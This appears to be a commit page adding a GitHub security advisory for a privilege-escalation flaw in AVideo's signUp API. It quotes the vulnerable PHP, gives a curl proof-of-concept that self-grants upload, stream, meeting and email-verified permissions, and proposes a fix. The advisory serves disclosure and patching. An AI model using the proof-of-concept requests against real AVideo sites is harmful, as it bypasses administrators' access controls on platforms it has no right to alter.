Skip to content

Commit edd99ac

Browse files
1 parent 6e2b828 commit edd99ac

1 file changed

Lines changed: 61 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8j8m-p79x-g4jm",
4+
"modified": "2026-06-22T17:25:03Z",
5+
"published": "2026-06-22T17:25:03Z",
6+
"aliases": [
7+
"CVE-2026-33684"
8+
],
9+
"summary": "AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions",
10+
"details": "## Summary\n\nThe `set_api_signUp` method in the API plugin accepts `emailVerified`, `canUpload`, `canStream`, and `canCreateMeet` parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.\n\n## Details\n\nThe authentication check in `set_api_signUp` (`plugin/API/API.php:4222`) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):\n\n```php\n// plugin/API/API.php:4222-4232\nif ($obj->APISecret !== @$_REQUEST['APISecret']) {\n if(empty($_REQUEST['captcha'])){\n return new ApiObject(\"Captcha is required\");\n }\n require_once $global['systemRootPath'] . 'objects/captcha.php';\n $valid = Captcha::validation($_REQUEST['captcha']);\n if(!$valid){\n return new ApiObject(\"Captcha is wrong, reload it and try again\");\n }\n}\n```\n\nAfter this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:\n\n```php\n// plugin/API/API.php:4238-4249\nif (isset($_REQUEST['emailVerified'])) {\n $global['emailVerified'] = intval($_REQUEST['emailVerified']);\n}\nif (isset($_REQUEST['canCreateMeet'])) {\n $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);\n}\nif (isset($_REQUEST['canStream'])) {\n $global['canStream'] = intval($_REQUEST['canStream']);\n}\nif (isset($_REQUEST['canUpload'])) {\n $global['canUpload'] = intval($_REQUEST['canUpload']);\n}\n```\n\nThese `$global` values are then consumed by `User::save()` (`objects/user.php:829-840`), which overrides the user object's permission fields:\n\n```php\n// objects/user.php:829-840\nif (isset($global['emailVerified'])) {\n $this->emailVerified = $global['emailVerified'];\n}\nif (isset($global['canCreateMeet'])) {\n $this->canCreateMeet = $global['canCreateMeet'];\n}\nif (isset($global['canStream'])) {\n $this->canStream = $global['canStream'];\n}\nif (isset($global['canUpload'])) {\n $this->canUpload = $global['canUpload'];\n}\n```\n\nNote that even though `userCreate.json.php:90` sets `canUpload` from the site's default configuration, `User::save()` subsequently overrides it with the attacker-controlled `$global` value.\n\nThe codebase already uses `self::isAPISecretValid()` to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in `set_api_signUp`.\n\n## PoC\n\n```bash\n# Step 1: Get a CAPTCHA token\n# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)\n\n# Step 2: Register with elevated privileges\ncurl -X POST 'https://target/plugin/API/set.json.php' \\\n -d 'APIName=signUp' \\\n -d 'user=attacker' \\\n -d 'pass=Password123!' \\\n -d 'email=attacker@example.com' \\\n -d 'name=Attacker' \\\n -d 'captcha=VALID_CAPTCHA_TOKEN' \\\n -d 'emailVerified=1' \\\n -d 'canUpload=1' \\\n -d 'canStream=1' \\\n -d 'canCreateMeet=1'\n\n# Expected: Account created with default (restricted) permissions\n# Actual: Account created with upload, stream, and meet permissions enabled,\n# plus email marked as verified\n\n# Step 3: Verify elevated permissions by logging in and checking profile\ncurl -X POST 'https://target/plugin/API/set.json.php' \\\n -d 'APIName=signIn' \\\n -d 'user=attacker' \\\n -d 'pass=Password123!'\n# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1\n```\n\n## Impact\n\n- **Email verification bypass:** Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality\n- **Unauthorized upload access:** Self-granted upload permissions allow uploading potentially malicious video content to the platform\n- **Unauthorized streaming access:** Self-granted streaming permissions allow unauthorized live streaming\n- **Unauthorized meeting creation:** Self-granted meet permissions allow creating meetings on the platform\n- **Policy bypass:** Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented\n\n## Recommended Fix\n\nWrap the privilege parameter handling in an `isAPISecretValid()` check so that only admin-authenticated requests can set these values:\n\n```php\n// plugin/API/API.php — replace lines 4238-4249 with:\nif (self::isAPISecretValid()) {\n if (isset($_REQUEST['emailVerified'])) {\n $global['emailVerified'] = intval($_REQUEST['emailVerified']);\n }\n if (isset($_REQUEST['canCreateMeet'])) {\n $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);\n }\n if (isset($_REQUEST['canStream'])) {\n $global['canStream'] = intval($_REQUEST['canStream']);\n }\n if (isset($_REQUEST['canUpload'])) {\n $global['canUpload'] = intval($_REQUEST['canUpload']);\n }\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "29.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/WWBN/AVideo/commit/061f242cba0e068cc1b461705fe839274b5038ff"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/WWBN/AVideo"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-862"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-06-22T17:25:03Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)